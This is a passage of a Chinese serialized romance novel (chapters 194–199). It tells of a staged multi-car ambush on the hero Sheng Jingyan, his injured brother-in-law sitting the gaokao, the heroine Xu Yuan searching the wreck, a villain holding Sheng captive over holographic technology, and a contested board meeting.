所以,他要活着回去。 他不能留许愿一个人留在A市,面对那些魑魅魍魉。 盛景炎飞速开着车子,陡然间,山林中突然奔出一辆汽车冲向盛景炎的车子。 盛景炎眸光一厉,车子飘逸躲过,岂料下一秒另一方又冲出一辆车子,始料未及的碰撞,那辆攻过来的车子被撞飞。 盛景炎的车子在山涧的路面上疾驰,不停发出刺耳的“刺啦”声响。 又是一辆车子窜出,横冲直撞的压过,盛景炎血脉上涌,握紧方向盘。 那群混蛋,是真的想要他的命! 他艰难的躲过,却再次被碰撞。 …… 风月山山脚下,助理心不在焉的开着车载着苏逸回考场,但是心思已经放飞。 一辆飞奔而来的越野冲撞而过,助理瞪大眼睛转动方向盘,却还是被剧烈的碰撞撞击到安全岛,车子在路面翻滚着。 苏逸感受得到自己的头被不停碰撞,撞到玻璃撞到车顶,有猩红的液体自额角逐渐沿着脸颊滑落,完全糊在自己脸上。 苏逸的头已经彻底晕了。 助理从驾驶座上爬出来,他喘息着打开车门,艰难的撑着身体救出苏逸。 第194章 坚持去考场 他的白衬衣已经被鲜血染红,胸口被玻璃碎片插进去,划破一道深沉的大口。 滴答滴答的喷涌着血花。 “苏逸,你不能倒,不能晕,我带你去医院!” 盛总把人交给他!他绝不能让苏逸在这里倒下! 助理撑着苏逸艰难的拦下一辆出租车,苏逸抬起眼皮,他抬手抹了把额头的鲜血,声音已经不似之前的平淡。 “帮我包扎伤口,送我去考场。”他语气坚定。 “你疯了!这种情况你怎么去考场!” 助理瞪大眼睛,他当场就要反驳然后押着苏逸去医院。 “我要去考试,盛景炎要你送我去考试。” 盛景炎的名字才冒出来,助理愤恨的咬牙。 他分明也受伤了,也很虚弱,但此刻就是被苏逸身上那股子不要命的狠劲儿惊到。 “妈的,你小子以后一定会有大出息。” 这种不要命的拼劲儿,他还只从盛景炎和许愿身上见到过。 助理忽略自己身上的疼痛感,给苏逸换好衣服,此刻距离第一场考试正式开始还有二十分钟的时间。 出租车终于停在考场外。 苏逸拿好准考证下车,助理喊住他的名字。 “苏逸,你真的不需要换件衣服吗?这样下去可能会引起轰动。” 苏逸眸光幽深。 “我就是要引起轰动。” “今天的事,绝不是意外。” 这是高考,能被分到着区域考试的几乎都是A市本地考生,早就聚集满了记者和维护秩序的警察,考生都已经在排队进场。 这时候出现一个满身血污的人,谁会不关注? 这么多人都看着呢,一定会越闹越大然后深入调查。 他们要让他和盛景炎出事为的是什么?是否跟许愿有关? 是许镇江?或者是有别的想法?商业竞争? 不管那人为了什么他都不会让那人继续躲在幕后躲躲藏藏,他就是要在此刻把人揪出来。 苏逸穿着那件满是血污的白衬衫下车,有认识苏逸的人立刻惊呼。 苏逸是实验一高有名的学神,学校的学生多多少少都认识他,这次分到这个区域考试的多是实验一高的学生,所有人都惊呆了。 来送考的校长和主任看到这一幕,脸色惨白。 “苏逸,到底怎么回事。” 董校长脸色沉下来,她伸出手想用纸巾擦拭他额头的冷汗,她能感受到苏逸在隐忍。 他还只是个才满十五岁的少年,现在却满身血污,都能想象到要有多痛。 “还能坚持吗?如果不能,老师现在就叫救护车,我们明年再战。” 苏逸既然来了现场就是要参加高考,所以董校长在征求他的意见。 苏逸摇头。 “我可以继续考试。” 更多的话董校长说不出口,她盯着苏逸看了许久,最终还是拍了拍苏逸的肩膀。 “老师在门口等着你凯旋。” 苏逸默然的对着董校长鞠躬,而后进入考场。 眼见学生全都进入考场,已经有认识董校长的记者冲过来采访。 “董校长,请问刚才那位学生是实验一高的学生吗?” “董校长,请问那位学生是出了车祸吗?这种情况是不是需要及时送医?” “那位学生是校长您最看重的学生吗,我记得您的得意门生是苏逸,请问那位就是苏逸吗?” 记者们吵吵嚷嚷,董校长的脸色却愈发难看。 董校长面色沉沉:“抱歉,一切等考试结束后再给大家答复。” 高考正式开始。 苏逸坐在座位上,他捏着眉心,能感受到大脑一阵天旋地转,晕到几乎想要呕吐,汹涌的呕意不断涌上胸口,他抑制住那难受恶心的感觉,然后奋笔疾书。 监考老师频频在他身边经过,本想问一句需不需要叫医生治疗,但低头看到苏逸试卷上一行行的正确答案,便沉默的不再打扰他继续答题,只是偶尔经过他身边,目光频繁黏在他那身令人瞩目的血衣上。 第一场考试终于结束,苏逸控制不住的趴到桌面上,整个人此刻仿佛已经到达极限。 “同学,你还好吗?” 监考老师收完考卷终于克制不住的走过来,看到他满面潮红心里一惊。 “同学,你在发烧!” 苏逸挣扎的抬起头,还未开口,董校长已经带着医生闯进来,同行的还有一起来送考的体育老师。 他能感受到自己被人放到后背上,跌跌撞撞的背着他前行。 “拜托……先帮我退烧……我下午还有考试,我要考试,我必须考试……” 他嗓音沙哑。 他必须考试,他不能错过这次的高考。 盛景炎几乎是把生的机会让给他,他不能让盛景炎失望。 …… 风月山。 不停从周围疾驰出现的众多车辆像是藏在暗处的暗器一般,他们只知道疯狂的攻击苏逸的车子。 一次撞击,两次撞击……四十五次撞击…… 车窗已经碎了,似乎已经快到达能够承受的极限。 车子已经在撞击中攀爬到风月山的高峰,不等盛景炎松一口气,又是一辆车碾压而过。 那是一辆大卡车,盛景炎握紧方向盘,所有的话语几乎都要被堵进喉咙中。 这群疯子是一定要他死! 他操控着方向盘躲闪,倏然车子在下一秒在躲闪过程中反方向动作,下一秒坠入风月山,碰撞声火光声再度在风月山响起。 …… 明明,就差一点了。 明明可以逃离了。 盛景炎感觉到自己的双腿好像已经没了知觉。 他听到自己体内的鲜血不停的流动。 车内传来“滴答”“滴答”的鲜血声音。 像是生命在流逝。 身体越来越沉重,他眼皮几乎已经睁不开,手却仍然死死的握住手机。 好想给她打一通电话,再听听她的声音。 阿愿。 我还能见到你吗? 他双眼已经发红,几乎用尽最后的所有力气点开手机。 “我将永远爱你。” 最终,他还是未能发送过去。 他已经没有了任何力气。 …… 江惊蛰接到董校长电话时人还在研究室,赶到考场附近的酒店才看到重伤的苏逸。 他没有多话,给他做了简单的身体检查。 轻微脑震荡,左手臂骨裂以及胸口的划痕,可都不算是小伤。 第195章 你救救他 以这种状态去参加高考……是真的在发疯吗? “他现在这种情况,我不建议继续参加考试。” 江惊蛰直接开口。 其实江惊蛰是从各方面来考虑的,苏逸是实验一高的天才学生,早就被预测会是此次的高考状元,他站得太高,一旦发挥失利就会自云端跌落。 不会有人在意苏逸是否遭遇车祸,是否带伤参加高考,他们只在意最终的结果。 就像现在的许愿一般。 除非苏逸在高考失利过后,拿出了碾压性的成果,否则会一直被嘲讽。 “我可以。” 苏逸嗓音沙哑,他垂眸看着手背上的还在输送药液的针管,另一只手想要攥紧却因为骨裂稍稍动作都会感觉到疼痛。 “只是高中的题目,我可以。” 江惊蛰偏头扫他一眼,目光温和却带着几分严厉,苏逸敛眉。 “苏逸,A市不是只有你一个天才。” 江惊蛰这话说得直白又残忍。 “那你要确定那些人确实是天才。” 苏逸面色平静,虽然没有嘲讽任何人,但这样平淡的口气已经算是蔑视。 “我是许愿的弟弟。” 一句话,让江惊蛰哑然。 是啊,苏逸的母亲是苏青莲,姐姐是许愿,他有这样强大的基因,他又怎么可能是普通人? 如果是苏逸的话,就算重伤,可能也是能拿到状元头衔的。 “如果你执意要参加高考,那我只能祝你真的金榜题名。” 江惊蛰抱着手臂坐在一旁。 病房内现在只有两人,江惊蛰看着他,不经意的开口询问:“清楚是怎么回事吗?” 他在问今天这场意外。 苏逸睫毛很轻微的颤了下没有开口,他看向窗外,嗓音沙哑:“我进入考场前,已经第一时间报了警。” 他虽然什么都没说,却又像是什么都说了。 “这种时候你还要继续瞒下去吗?盛景炎送你参加考试,最后却只有你和他的助理出现在高考现场,你是实验一高的学生,那些照片已经被记者们传到网络上,所有人都在关注这件事,许愿马上就会知道这件事,你瞒不住。” “如果盛景炎真的得罪了什么人,就算你真的报警也无济于事,他们查不到真相,如果盛景炎真的出事,这件事也只会不了了之。” 是的,他瞒不住。 他本也没打算瞒着。 他其实很矛盾,他知道许愿身体虚弱现在受不得刺激,可他又真的没办法将一切都藏起来,就让盛景炎一个人去面对那一切。 他只能孤注一掷。 “你救救他。” 苏逸嗓音沙哑:“我只记得地点是在风月山,围堵他的人叫奥瑞亚。” 奥瑞亚,当初盛景炎在国外念书时的混混头子,出了名的难搞。 江惊蛰眼神闪烁。 如果是奥瑞亚来到A市,恐怕盛景炎真的会出事,奥瑞亚的人脉圈太过广泛,哪怕是A市某些上面的人也要给他三份薄面。 苏逸还想说些什么,房间门却被敲响,很轻的力度。 两人都是为之一愣,抬头便对上许愿那张平静的面容,她脸上仍然带着笑意的,看向苏逸和江惊蛰的眼神都是温和的。 “苏逸,好些了吗。” 许愿操控着轮椅到他面前,她目光掠过苏逸身上的伤处,额头,手臂,胸口,乃至脸上被玻璃划过的擦伤,狼狈又可怜。 苏逸到喉头的话应是咽下去,他此刻有些内疚的不忍对上她温柔的目光。 “姐,对不起,我没能带他一起回家。” 他很想用平静的语气开口,可一开口声音里面就带着情绪,是那种沉重的语气。 “这不是你该做的事。” 许愿握住他还在挂水的手,她的指尖仍然是凉的,但此刻苏逸就是能从这凉意中感受到淡淡的温热感。 “我们是成年人,我们有时会做错一些事,要对自己做错的那些事负责,是我们的错连累了你。” “你本该过上平静的生活,是我带你进入这样的漩涡。” 许愿其实想得很清楚。 这些年苏逸一直在苏家吃苦,好不容易要参加高考,能够逃离苏家开始自己崭新的人生,却有一脚踏入他们的世界,从此平静的生活也将被搅弄得天翻地覆。 “你不要内疚。” “盛景炎不会出事,他那样的人啊就是个祸害,祸害遗千年,他能活得比我们所有人都久。” “我会亲自接他回家,然后……让那些伤害你们的人付出应有的代价。” “我保证。” 许愿说这话时,眼睛几乎是赤红色的,不再是平日里水润温和的眼神,充斥的全是凛冽。 “你们今天受的,我会让他们十倍百倍的还回来。” 世界上哪有这么巧的事呢? 她才爆出与全息相关一些的3D影像片段,才几天盛景炎和苏逸就出了事,这是在警告在报复。 许愿眼神的手不由的收紧,用力握紧轮椅扶手。 她就是这样睚眦必报的人,若这些人只是针对她,她可能还不会如此生气,可千不该万不该伤害她珍视的人。 许愿取出手机拨了个号码,对面秒接。 “阿愿,我已经看到网络上的疯狂传播的信息了,这次的事情闹得太大,可能压不住。苏逸高考车祸这件事如果还想继续压下去,我再联系策划部商量最新的策划案。” “不需要继续压制这次的热搜,就让这条信息在热搜榜一挂着。” “我要看这件事到底有没有人深入调查,如果没有,我会实名递交检举信。” 许愿声音冰冷眼神凛冽。 “稍后我会发你定位,来这里见我,我们……一起接盛景炎回家。” “我已经到了。” 病房的门被人敲响,房门没有锁,男人已经推开门倚靠在门边。 那是一个相貌极其俊美漂亮的男性,漂亮到有些雌雄莫辨的程度。 作为男性来讲,他的头发有点长,刚好到肩侧,染了一头银发,因为皮肤足够白,衬得整个人容貌显得有几分妖冶感,开口的声音带着点古风公子哥的意思。 他很高,闲散的倚靠在门边,眼尾微微上挑,像只银毛的狐狸。 漂亮又精致,妥妥的男妖精。 第196章 男妖精薛漂亮 在商圈里面,被称作男妖精的有谁呢? 众人脑海内第一时间闪过的就是“薛酒”这个名字。 盛华副总薛酒,出了名的漂亮。 谣传盛华在国外建立之初,薛酒没少被人献殷勤追求,追求他的不仅有女人,还有大批大批的男人。 刚巧,追求过他的那一批一半多的都追求过许愿。 薛漂亮此刻面上没有几分笑意,但还是故作轻松的打了声招呼,他实在是过分漂亮,饶是苏逸也被他的颜值震惊了一瞬。 “怎么来了?” “显而易见。” 薛酒随手拉拽了椅子坐下:“盛景炎出事,你能找谁?傅氏那边的人你怕是理都不想理,就是这位江医生若非必要,可能你都不会再见了。至于盛景炎的好友,你也不算熟悉,你不会联系黎云笙韩城这些人,所以我就自告奋勇的找来了。” 薛酒手臂搭在许愿轮椅架上抚摸了一瞬才开口:“走吧,车子已经备好了。” 许愿毫不迟疑的点头。 江惊蛰阻拦:“许愿现在的身体状况,不能受刺激。” 他不去问许愿为什么会结识盛华的薛酒,他只知道许愿的身体承受不住。 薛酒站起身,那双琥珀色的眼瞳带着几分冷感,他也有一双带笑的含情眼,可眼神是冷的。 是的,薛酒对江惊蛰是有敌意的。 薛酒是许愿的朋友,许愿受到的那些伤害,让薛酒平等的厌恶傅京礼身边的每一个人。 若非许愿看病还需要江惊蛰,薛酒可能现在都不会给任何回应直接转身就走。 “江医生,现在受到伤害的是阿愿的爱人。” “爱人是什么意思,你能明白吗?” “不让她去现场,她才会真的不甘心。” 薛酒随手推开拦在一旁的江惊蛰:“跟傅京礼玩到一起的,懂什么真情实感呢?都是披着人皮的虚伪货色。” 薛酒嘲讽的话才落下,许愿已经开口阻止他。 “阿酒,江医生是不一样的。” 是的,江惊蛰是不一样的。 哪怕他是傅京礼的好友,但他对她已经做到极致,她能对江惊蛰有什么怨呢? 薛酒这才退后几步,重新站到许愿身边推着轮椅离开,他随意的扬了下手开口:“弟弟,我安排了人照顾你,有事随时联系他们,不用不好意思,你可是我们盛华的小少爷。” 薛酒离开之际,还不忘留下一句令几人震惊深思的话。 什么叫做苏逸是盛华的小少爷! 苏逸是什么出生? 他生父不详,母亲苏青莲早已去世,身边的亲人只剩下一个姐姐许愿,如果苏逸是盛华的小少爷,那盛华的掌舵人是谁…… 是许愿! 饶是江惊蛰一直没有想那么多,此刻也彻底震惊了。 如果这件事传出去,恐怕商圈都要震上一震。 “江医生不会说出去吧?”薛酒眼神微暗带着几分压迫之意。 “我赌江医生不会说出去。” 话落,薛酒已经推着许愿的轮椅远去。 独留江惊蛰整个人留在原地,仍在为此震撼。 傅氏的许秘书许经理在圈内已经是令许多人仰望的存在,虽然不算资本,却已经逼近资本,离开傅氏成为盛世的总经理,已经成为资本,但盛世名义上还是盛景炎的产业。 可她若是盛华的掌舵人,那一切就都不一样了。 盛华,开创了国内商业资本先河的公司。 首个华人建立在国外,还在一年内挤进世界五百强的公司,又在三年内碾压各大资本研究新能源和网络信息安全技术一跃冲到顶端,是国内外都想要求着合作的真正的资本。 而这样只是被人提到就望而生畏的公司,竟然是许愿的产业。 江惊蛰坐在沙发上久久沉默。 他抬起手,揉捏了下眉心,此刻什么话都说不出来,他甚至觉得自己现在说什么都是多余的。 曾经的许愿,到底是多爱傅京礼才会爱到忘记了她自己的身份? 她也是有过那样的荣光,她卸下自己身上的一切荣耀去接近傅京礼,最终却只接收到对方的无视和伤害。 江惊蛰喉头堵得厉害,许久后才“哈”了一声,抬起手遮住自己的眼睛。 这件事他当然不会传出去,就算他不传,想必也瞒不了多久了。 想来盛景炎已经出事,盛家众多魑魅魍魉,没了盛景炎坐镇,谁肯认许愿的身份? 盛景炎那份遗嘱,莫说盛世的股东们不认,就是盛衡和盛三都不会认,他们一定会为了盛家的资产针对许愿。 她会成为众矢之的,或许还会被这群盛家人攻击辱骂,是她迫害了盛景炎,只是为了得到他的资产。 若是从前,他还会担心许愿压不住这些人,需要黎云笙韩城那些人来坐镇。 可现在……许愿又哪里需要这些呢? 盛华掌舵人的名头就够用了。 她不需要带其他人,只要陆斯年和薛酒陪在她身边,一切就全都明了。 …… 风月山。 整座山已经堆满了各类报废的赛车堆积在一起。 男人循着定位,步履深重的来到深山山底,目光落在那辆已经被撞到破破烂烂没了型的越野车。 附近了无人烟,寂静无声。 他默然偏头,漆黑幽暗的眸色落在那辆车上,喉间溢出明显的冷笑。 研究出的新车型好像也不过如此,不过是只能承受最多五十次的猛烈撞击,到最后还不是会散架?多换一些车就能毁掉这一切。 他远远看着这一幕,看到那辆完全报废的越野车,看到地上掉落的已经快要碎裂的手机。 “我将永远爱你。” 这是盛景炎和许愿微信聊天界面盛景炎未能发出的信息。 他不由得握紧手机,然后点击删除。 你将永远爱她? 他眼底溢满冰冷之意,那也要看你是不是真的配永远爱她。 男人似乎只是来看一看,是不是真的如他计划的那般发展。 有风吹过他的发梢,露出那双幽深暗沉的黑眸,他眼底染带着几许赤红和冷意,转身离去。 他似乎是算好了时间,在他离开后,许愿和薛酒带着安排好的医护人员和保镖赶到时,便看到了这般惨烈场面。 第197章 他一定还活着 被掀飞碎裂的跑车,因油箱泄油现场已经被炸过,还能依稀看到地面上堆积的跑车碎片。 许愿的轮椅根本进不去,她只能由薛酒扶着才能进去。 明明是最热烈的晌午,天色却暗下来,乌云仿佛笼罩遮盖住整座山,诉说着那种无法言语的不祥和肃冷。 阵阵浓烟仍然在缓缓升腾至空中,与乌云的颜色几近相近交织在一起,仿佛是大地都在发出深重的叹息。 数不清的跑车赛车仿佛都堆积在这座山中,他们撞在一起,悲壮骇人。 还能听到有人在车厢内微弱的求救声。 再走近,能看到停靠的严重变形的汽车残骸,金属碎片散落一地,偶尔还能听到轻微的火花声从受损车辆中传出。 空气中弥漫着此笔的橡胶燃烧的味道和汽油的味道,让人忍不住屏住呼吸,否则会被这猛烈的味道熏到吐。 已经有警灯在闪烁,在这样沉重的天气出现一道道红蓝交错的光线,给这样沉寂的环境添上难以言喻的气息。 来的不仅是警察,还有数不清的医护人员。 救援人员紧张有序的穿着醒目的反光背心在废墟之间穿梭,试图寻找拯救幸存者,救护车已经就位备好,医护人员随时准备接收伤员进行救助。 许愿看着眼前这一幕,喉头却忍不住发堵。 救这些人? 救什么呢? 风月山为什么会堆积这么多的车?他们到底想做什么?他们是要追盛景炎的车…… 她亲自研究改造的那辆车能承受多少次撞击呢? 那次测试是几十次,这次现场又有多少辆车? 他们都是想要他死! 一些为了钱卖命要去害他的人,要救什么?他们也该死。 许愿眼瞳赤红不带半分柔意,她身体发软的穿梭在拥挤的人群中,薛酒一直守在她身边。 这辆不是,这辆不是……不是,都不是。 直到看到风月山山底那辆已经碎裂到几乎快无法拼接的越野车,车门整个被撞击掉落。轮胎爆了,上面都是被撞击的痕迹。 许愿能感受到自己的身体都在剧烈的颤抖。 她冲过去的时候,薛酒都没有反应过来,没能拦住她。 她才跑了两步,就已经跪坐在脏污不勘的地上,薛酒立刻扶着她,她眼瞳里都明显的藏着几许恐惧,甚至不敢去看。 她怕看到自己不想看的,她是真的在害怕。 不对的。 盛景炎那样的人一定能活很久的,他会比所有人都活得更久,更久。 许愿看向车厢内,空的,空无一人。 她的第一反应是,那他一定还活着。 许愿的身体终于松了口气,她拍抚着自己的胸口,眼底已经明显涌出泪意。 薛酒清楚,盛景炎不在这里不能算是多好的结果,但这只能证明盛景炎还活着。 一种可能是盛景炎自己逃出去,但发生这种事,他能活着都是侥幸,或许断手或许断脚,或许残废,根本不可能还有力气爬出车厢离开风月山。 另一种可能是,有人还需要盛景炎活着。 他们制造了这一场意外事件,拿捏盛景炎就像完全拿捏了许愿,最近的活动就是金融峰会的合作争夺,躲在深处的人或许要利用盛景炎逼迫许愿退出,又或者看中许愿研究的全息相关的技术拿来做交换。 无论是哪一种,都不是薛酒想要看到的结果。 如果盛景炎废了,那他就再也配不上许愿。 如果他没有废掉,那许愿和盛华必定会被带来极大的利益损失。 只一个盛景炎,此刻竟然让他觉得有些束手束脚,他现在急需知道答案,也好早做部署。 天气阴沉又闷又热,大雨倏然倾盆而落,雨水哗哗落下,许愿只觉眼前一片模糊。 雨水如注般砸向地面,打在那些扭曲变形的汽车残骸上,发出清脆且刺耳的声音。 空气中原本就有些刺鼻的气味,在雨水的冲刷下变得更加浓烈。 从胸口上涌的那股呕意,令许愿不停拍抚自己的胸口。 “先回去吧,盛景炎一定还活着。” 许愿顿了下没有说更多,只是微微垂下眼睫,回到车内,她取出手机一遍遍翻看盛景炎离开前发送的信息。 【盛景炎】:华庭推出了新口味餐点,说是状元点心,等苏逸高考完带他一起去? 没等到许愿回应,盛景炎又飞速发来一句。 【盛景炎】:已经订好座位了,菜谱敬上,许总过目一下? 他甚至还特地挑选了个小猫咪拜见大王的表情包。 【盛景炎】:许总,最近太忙了点,一起去华庭放松下? 许愿忙到甚至只回了个好字,盛景炎下一秒就回了个小猫咪撒花的表情包,也不知道是哪里来这么多可可爱爱的表情包。 许愿越看,内心越是酸涩。 她握紧手机,眼睛发酸发红,强忍住泪意才没让自己在此刻哭出来。 她摁灭手机,声音仿佛重新回复平静,但若是仔细观察,能感受到声音里面带着细微的压抑情感。 “我给苏逸在高考场地对面订了酒店,今明两天让左司先陪在苏逸身边。” 许愿在盛华的首席秘书,左司,在盛华的地位几乎与薛酒无异,许愿能把左司拉出来,可见许愿对苏逸的重视程度。 “已经联系过左司了,他现在人就在考场,下午会亲自护送苏逸进考场。” 许愿听到这话,终于算是放下心,身体都仿佛卸下重担,终于控制不住的倒在车内。 “许愿,许愿?” 薛酒无法镇定,因为许愿的额头太烫了,就像江惊蛰所说的她受不得刺激,再加之淋雨才会突然高烧。 薛酒没有时间思考更多,发动车子离开现场,离开前还不忘吩咐保镖将那辆已经被撞击到报废的车子一起拖离。 那是盛景炎的车,许愿不会希望他的东西留在风月山。 …… A市郊区别墅。 傅长海轻拍着自己的手掌,喉间欢快的哼着歌。 他看着此刻奄奄一息断掉双腿的盛景炎,眼底都是狠辣。 “背着我搞全息?” 傅长海冷笑:“你们有命研究,可也要有命赚这笔钱。” 第198章 用情至深只会输得一塌糊涂 傅长海站在原地,目光落在实验室内的大屏上,仍然在循环播放许愿上传的那段视频。 他眼底尽是痴迷。 听到身旁传来响动,他才终于转过头,居高临下的看向被他丢到地面上缓缓转醒的盛景炎。 “盛二少,又见面了。” 盛景炎脊背靠着冰冷的墙面,才能让自己保持清醒,整条手臂已经以一种极为扭曲的姿态别到身后,他垂下眼,用没有受伤的手臂扶正脱臼的手臂,只听“咔嚓”一声已经推至原位。 他能感受到自己下半身传来的撕裂的疼痛,那种痛令他克制不住的脸色发白,冷汗已经浸湿衬衣,他靠在冰冷的墙面上抬起头看向暴露出真正面孔的傅长海。 “我猜到可能是你,但没想到真的会是你。” “这样大费周章报废了上百辆车,只为了报复我?那我还真是荣幸。” “这上百辆车可不只是我出的,盛二少小看自己了。” 傅长海一步一步逼近盛景炎。 “盛二少得罪了那么多人,怎么可能只有我一个想要置你于死地。” “奥瑞亚听说能够报复你,可是第一时间从国外赶过来,那些车半数都是他的。” “许愿多厉害啊。” 傅长海蹲下身,漆黑的眼瞳死死盯着盛景炎,阴暗的内心在此刻滋生出说不出的嫉恨恶意。 “担心你出车祸,就为你设计新车型改造车组,为了伤到你,可真是让我们耗费心机才想出这么个法子。” 他伸出手一把扯住盛景炎的黑发,盛景炎那张一直带笑的眼睛仍然带着笑意,只是那笑意中明显夹杂着数不清的嘲意。 “那真是辛苦你们了。” “不辛苦,我们只不过是算计算计盛二少,能有多辛苦呢。”傅长海嗤笑连连,“倒是盛二少给了我们个好机会。” “你的身份实在特殊,是许愿的爱人,如果我想得到我想要的东西,那势必要跟许愿对上。” “只要有你,许愿一定会低头让步。” 傅长海冷笑:“所有人都说苏青莲和许愿是横空出世百年难遇的天才,可在我看来,这两人都是十足十的蠢货。” “用情至深,最后只会输得一塌糊涂。” 傅长海低声:“你猜如果我告诉许愿要用全息相关的研究资料来做交换,许愿会不会同意呢?” 他根本不等盛景炎回答,自说自话的有些癫狂:“她当然会同意,她就像当年的苏青莲一样,为了唐青江什么都肯做。” 盛景炎眸光晦涩,声音沙哑。 “她不会为了我这种事。” 盛景炎眼神嗜冷。 “我是她的爱人,但也仅仅是名义上的爱人。”盛景炎嗓音沙哑,“三个月的时间,你以为许愿能多在乎我。” “她和傅京礼三年的感情都可以说没就没,那我和她之间又能有多少真情?” “更何况,你不会真的认为许愿能瞧得上我。”盛景炎自嘲。 傅长海眯眸,眼神危险的盯着盛景炎:“盛景炎,不要拿人当蠢货。” “我背着她打算私下联系唐雅颂,被她发现。” 盛景炎眸色清冷:“你该知道盛家希望我和唐家缔结婚约,许愿不可能忍受感情上的背叛。” 傅长海瞳孔猛然一缩,他死死盯着盛景炎,几乎将他看作是此生死敌。 “你疯了!有了许愿,你还选什么唐雅颂!” 他当然没有联系唐雅颂,他只是想傅长海知道许愿跟他之间再无可能,他不希望许愿永远被傅长海这样的人拿捏。 他不要去做许愿那个软肋。 更何况…… 盛景炎克制不住的握住自己的手,垂下眼睫,藏下眼底的空洞悲伤。 不用去看医生,他都知道自己现在是多凄惨的模样。 他现在与废人无异,这样的人如何配得上许愿? 他爱的人,值得世界上一切优秀的男人,却独独不包括他。 她身边那样多的优秀男性,薛酒、陆斯年、宋野、甚至沈略,江惊蛰,每一个都要比现在的他好上太多。 不论从什么方向考虑,他跟许愿都已经不再匹配。 他唯一庆幸的是提前立下遗嘱做好所有准备工作,所以哪怕现在盛世真的出事,许愿也能完全镇压这些人。 “那你总该知道许愿研究的全息项目到哪一步了!”傅长海指着大屏上一直重复播放的片段,“这种程度的隐私代码到底是多少,能不能插进所有数据库中,这样的代码对设备要求高不高!” 盛景炎轻咳一声,惨然一笑:“我怎么会知道呢?跟她合作后,我就再也没有跟进过全息相关的任何项目。” “废物!你是不知道全息能赚多少!” 傅长海一口气几乎都要喘不过来。 如果盛景炎真的私下打算联系唐雅颂,那他就要好好谋划下一步了。 他要清楚许愿是不是真的在意盛景炎。 傅长海眼神狠厉的给了助理一个眼神,助理立刻回应。 “盛家人已经联合盛世董事会围攻许愿,要求许愿交出盛景炎留下的遗嘱和资产股份。” 话落,傅长海忍不住嘲讽。 “瞧瞧,你不过是出了场车祸,人都还活的好好的,就已经有人控制不住的想要咒你死了。” “尸骨未寒,你的爱人就要遭受欺压。” 盛景炎嗓音冰冷:“我还没死。” “你这副模样倒不如死了。” 傅长海讥讽,成了废人可能再多的感情也会被消磨干净。 …… 盛世掌舵人在风月山车祸失踪的新闻已经成为各大版面热门,所有人都对此议论纷纷。 实在是时间上太巧了,不乏有人站出来就许愿的身份阴谋论。 “有人见过现场吗?太惨烈了,上百辆的车堆积在风月山,那里全都是漏泄的汽油味儿和铁锈味道和血的味道!风月山经常举行赛车比赛,但是最近根本没有任何拉力赛,更不要说私下的小比赛了,风月山就没办法容纳这么多辆车由他们冲刺比拼,这一定是一场有预谋的谋杀!” “时间段真的太巧了,许愿才离开傅氏加入盛世,盛世总裁就出了这种事,谁会不多想?” 第199章 一定守住盛景炎的东西 “盛家人特地提到盛二少是恋爱脑,早早立下遗嘱,将资产和手中股份全都留给许愿。如果这次不能找到盛二少的尸体,那许愿就是唯一的赢家,能拿到盛世多年的资产!” “升官发财死老公,这谁会不多想啊!” “问题是!许愿她婚内出轨盛景炎,无缝衔接盛景炎,然后清清白白的离开傅氏不久,她跟盛景炎的孩子就流掉了!现在盛景炎又出事!谁信跟许愿无关!” “如果我是盛家人,我真的会被气到发疯!” “如果一切都是许愿做的,那必须严查许愿!这是个蛇蝎心肠的杀人犯!她为了得到这笔遗产,根本不把他们当人!” “许愿不是好东西,难道盛家人就是好东西了?盛家人说白了,就是为了盛景炎留下的那些东西,不然这种时候不是应该去找盛景炎吗!干嘛非要挑这种时候召开什么董事会,可不可笑。” “盛家人得到这些东西,也比许愿得到这些东西要好吧!盛景炎毕竟是盛家人,许愿又算什么!许愿是盛家人吗?她一个外人凭什么接受盛家的东西!都还没嫁进来呢!” “盛景炎也是真的蠢,许愿没有跟他领证结婚,干什么把一切都留给许愿!许愿配吗!” “说白了,还不是因为许愿长了张漂亮脸蛋,才把盛景炎迷得神魂颠倒!” 微博上吵吵闹闹,所有人都在怪罪许愿,好像她才是真正的罪魁祸首。 盛世也在此刻召开董事会。 请了所有董事却独独没有请许愿,就是为了排挤她。 但她代表的是盛景炎,盛景炎不在,她是一定要出席的。 许愿醒来时,距离董事会正式开始还有一个小时。 她的头有些昏昏沉沉的,从病床上下来就感觉到双腿发软,心口处的钝痛感根本无法忽略。 “阿酒,准备好我要的东西没有?” 薛酒此次见了许愿,眉头都没有舒展开过,他一头漂亮的银发用头绳扎了个小揪揪,露出那张漂亮到无可挑剔的面容。 他怀里抱着不少东西,一边走一边叹气。 “你还真的要去啊。” “你现在身体这样,你怎么去?盛家那群老乌龟,心思一个比一个重……” 薛酒话都还未说完,许愿便已经抬头看向他,然后唇角露出很轻微的笑。 “我的心思只会比他们更重。” 是的,她的心思只会比盛世的人更重。 盛家人心里想什么她一清二楚,但是她心里想什么盛家人清楚吗? 许愿换上一套米灰色的职业正装,然后化上精致的妆容,完全掩盖住自己苍白的脸色。 透过镜子,看到自己眉眼凌厉凛冽。 她特地将眼尾化了点上挑的弧度,那张本该清冷的眼眸自然而然的多了嘲意。 “盛景炎不在,他的东西我是一定要守住的。” 薛酒叹了口气去推轮椅,许愿顿了下:“今天不用轮椅,气势不能输。” “你疯了!” “你现在身体什么状况,你自己不清楚吗!” 薛酒一口气险些都没有喘上来。 许愿整理了下自己的造型,从新出的那些手表中挑了支带有红钻的戴在手腕上。 “我没疯,但是谈判还要坐轮椅,不符合我的美学。” 薛酒扶额:“老大,你已经够美了,你坐轮椅上也天下第一美,你听话好吗。” “我不。” 许愿拒绝:“你在我身边我坐轮椅,显得你比我好看,我不接受。” 不是?他长得好看怪他喽? 薛酒也实在是被气笑了。 “行,轮椅我带着,你不想坐也行,有问题随时叫我,我总归是跟在你身边的。” 薛酒做事许愿放心。 许愿的心里很清楚,她不坐轮椅,就是为了气势上压倒众人。 坐在轮椅上那些人难保不会用她的身份性别来嘲讽她,那群人都知道她因为流产在养身体,一旦这件事再次被提出来,那就真的没完没了了。 真正赶到盛世时,董事会已经开始了。 盛世的员工看到许愿,眼神也都有些古怪,看来这些人也都在猜测许愿和盛景炎这次的车祸是否有关联了。 到了顶层会议室许愿并未敲门,门口守着的保安看到她显然一愣,此前盛世的董事们也没说许愿来了不能进他们也没拦。 薛酒更直接,直接推开会议室的门。 还在侃侃而谈的盛衡有些说不出话了。 “抱歉各位,我来晚了。” 许愿神色淡然凛冽,眼神明亮却带着明显的冷感。 她每一步都走得平稳,一步一步走到会议室内,然后在盛衡此刻坐的主位站定。 “盛先生,这个位置好像是我的。” 她唇角带着浅淡的笑意,但笑意是冷的,眼神是孤傲的。 